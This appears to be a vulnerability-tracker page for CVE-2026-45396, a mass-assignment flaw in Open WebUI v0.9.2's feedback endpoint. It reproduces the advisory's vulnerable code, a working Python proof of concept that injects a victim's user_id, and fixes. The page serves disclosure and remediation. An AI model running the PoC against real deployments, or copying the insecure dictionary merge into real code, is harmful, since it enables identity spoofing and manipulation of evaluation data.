Skip to main content

Open WebUI CVE-2026-45396

| EUVDEUVD-2026-30630 MEDIUM
Improperly Controlled Modification of Dynamically-Determined Object Attributes (CWE-915)
2026-05-14 https://github.com/open-webui/open-webui GHSA-rjmp-vjf2-qf4g
5.4
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

Lifecycle Timeline

3
Source Code Evidence Fetched
May 14, 2026 - 21:51 vuln.today
Analysis Generated
May 14, 2026 - 21:51 vuln.today
CVE Published
May 14, 2026 - 20:26 nvd
MEDIUM 5.4

DescriptionGitHub Advisory

Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation

Summary

The POST /api/v1/evaluations/feedback endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via FeedbackForm, which uses model_config = ConfigDict(extra='allow'). Due to an insecure dictionary merge order in insert_new_feedback(), an authenticated attacker can inject a user_id field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.

Details

The vulnerability exists in two layers:

1. Model Layer - Insecure Dict Merge Order

File: backend/open_webui/models/feedbacks.py, lines 148-160

python
async def insert_new_feedback(
    self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None
) -> Optional[FeedbackModel]:
    async with get_async_db_context(db) as db:
        id = str(uuid.uuid4())
        feedback = FeedbackModel(
            **{
                'id': id,
                'user_id': user_id,
# ← Server-set from auth token
                'version': 0,
                **form_data.model_dump(),
# ← OVERWRITES 'id', 'user_id', 'version'
                'created_at': int(time.time()),
                'updated_at': int(time.time()),
            }
        )

In Python, when a dictionary literal contains duplicate keys, the last value wins. Since **form_data.model_dump() appears after 'user_id': user_id, any user_id field in the form data overwrites the authenticated user's ID.

2. Schema Layer - extra='allow' on Request Form

File: backend/open_webui/models/feedbacks.py, line 106

python
class FeedbackForm(BaseModel):
    type: str
    data: Optional[RatingData] = None
    meta: Optional[dict] = None
    snapshot: Optional[SnapshotData] = None
    model_config = ConfigDict(extra='allow')
# ← Accepts arbitrary extra fields

The extra='allow' config means Pydantic will accept and preserve any extra fields in the request body, including user_id, id, and version. These are then spread into the FeedbackModel constructor, overwriting server-set values.

Contrast with Secure Pattern

Other models in the same codebase use the correct ordering. For example, backend/open_webui/models/functions.py, line 120:

python
function = FunctionModel(**{
    **form_data.model_dump(),
# ← Spread FIRST
    'user_id': user_id,
# ← Server value AFTER → always wins
})

And ModelForm at backend/open_webui/models/models.py uses extra='ignore', which is the strictest approach.

Impact

1. User Identity Spoofing

An attacker can create feedback records attributed to any user by specifying their user_id. The admin export endpoint (GET /api/v1/evaluations/feedbacks/export) and admin list (GET /api/v1/evaluations/feedbacks/all) will show the spoofed user_id as the feedback author.

2. Model Evaluation Leaderboard Manipulation

The Elo rating system at backend/open_webui/routers/evaluations.py computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:

  • Artificially inflate ratings for a specific model
  • Deflate ratings for competitor models
  • Make organizational model evaluation decisions unreliable

3. Record ID Control

By injecting a custom id, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.

PoC

python
import requests

BASE_URL = "http://localhost:8080"
# 1. Login as attacker
session = requests.Session()
login_resp = session.post(f"{BASE_URL}/api/v1/auths/signin", json={
    "email": "attacker@example.com",
    "password": "attackerpass"
})
token = login_resp.json()["token"]
headers = {"Authorization": f"Bearer {token}"}
# 2. Create feedback attributed to a different user (victim)
VICTIM_USER_ID = "12345678-aaaa-bbbb-cccc-000000000000"

resp = session.post(
    f"{BASE_URL}/api/v1/evaluations/feedback",
    headers=headers,
    json={
        "type": "rating",
        "data": {
            "model_id": "gpt-4o",
            "rating": 1,
            "sibling_model_ids": ["claude-3-opus"],
        },
# Mass assignment: these extra fields are accepted due to extra='allow'
# and overwrite server-set values due to dict merge order
        "user_id": VICTIM_USER_ID,
# Overwrites authenticated user ID
        "version": 999,
# Overwrites default version
    }
)

feedback = resp.json()
print(f"Feedback created with user_id: {feedback['user_id']}")
# Expected: attacker's own user_id
# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)
assert feedback["user_id"] == VICTIM_USER_ID, "Mass assignment successful!"

Severity

CVSS 3.1: 5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (any authenticated user)
  • User Interaction: None
  • Impact: Integrity (feedback data falsification) + limited Availability (leaderboard reliability)

Suggested Remediation

Option 1: Fix dict merge order (minimal fix)

python
feedback = FeedbackModel(
    **{
        **form_data.model_dump(),
# Spread FIRST
        'id': id,
# Server values AFTER (always win)
        'user_id': user_id,
        'version': 0,
        'created_at': int(time.time()),
        'updated_at': int(time.time()),
    }
)

Option 2: Remove extra='allow' from FeedbackForm (recommended)

python
class FeedbackForm(BaseModel):
    type: str
    data: Optional[RatingData] = None
    meta: Optional[dict] = None
    snapshot: Optional[SnapshotData] = None
    model_config = ConfigDict(extra='ignore')
# Reject unexpected fields

Option 3: Explicit field assignment (most secure)

python
feedback = FeedbackModel(
    id=str(uuid.uuid4()),
    user_id=user_id,
    version=0,
    type=form_data.type,
    data=form_data.data.model_dump() if form_data.data else {},
    meta=form_data.meta or {},
    snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},
    created_at=int(time.time()),
    updated_at=int(time.time()),
)

Affected Versions

  • v0.9.2 (current latest, confirmed vulnerable)
  • Likely all versions since feedback/evaluation feature was introduced

References

  • Prior advisory: "Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts" (patched in v0.9.0) - same root cause class, different endpoint

AnalysisAI

Mass assignment vulnerability in Open WebUI v0.9.2 allows authenticated attackers to spoof user identities and manipulate model evaluation data by injecting a user_id field into feedback requests. The POST /api/v1/evaluations/feedback endpoint fails to properly validate and segregate server-set values from user-supplied input, enabling attackers to create feedback records attributed to arbitrary users and corrupt Elo-based model leaderboard rankings. Patch available in v0.9.5.

Technical ContextAI

The vulnerability combines two insecure patterns in the Pydantic-based feedback creation endpoint. First, FeedbackForm uses ConfigDict(extra='allow'), which instructs Pydantic to accept and preserve fields not explicitly defined in the schema, including reserved fields like user_id and id. Second, the insert_new_feedback() method in feedbacks.py (lines 148-160) merges form data into the model constructor using Python dictionary unpacking in the wrong order: server-set values like user_id are defined before **form_data.model_dump(), meaning any user_id in the form data overwrites the authenticated user's ID due to Python's dictionary merge semantics (last value wins). This is a mass assignment vulnerability (CWE-915) where untrusted input bypasses intended authorization controls. The codebase contains evidence of a prior, similar vulnerability patched in v0.9.0 on the folder creation endpoint, indicating a systemic pattern of unsafe Pydantic usage. Contrast with secure implementations elsewhere in the codebase (e.g., functions.py line 120) that place server values after form data in the merge order, or ModelForm which uses extra='ignore' to reject unexpected fields.

RemediationAI

Vendor-released patch: upgrade to Open WebUI v0.9.5 or later (https://github.com/open-webui/open-webui/releases/tag/v0.9.5). The fix implements proper dictionary merge order in insert_new_feedback() by placing server-set values (id, user_id, version, created_at, updated_at) after the form data spread, ensuring they always take precedence. Alternative or defense-in-depth measures if immediate upgrade is infeasible: (1) change FeedbackForm.model_config from ConfigDict(extra='allow') to ConfigDict(extra='ignore') to silently reject unexpected fields-trade-off is loss of any intentional extensibility, but feedback form structure is stable; (2) implement explicit field assignment in the model constructor rather than unpacking, mapping only required form fields to model fields by name; (3) at the API layer, inject user_id from the authentication token directly into the model creation call without passing it through form validation, ensuring no request body can override it. Patch v0.9.5 also addresses related security improvements including SSRF protection and CSP controls; organizations should apply the full release.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-45396 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy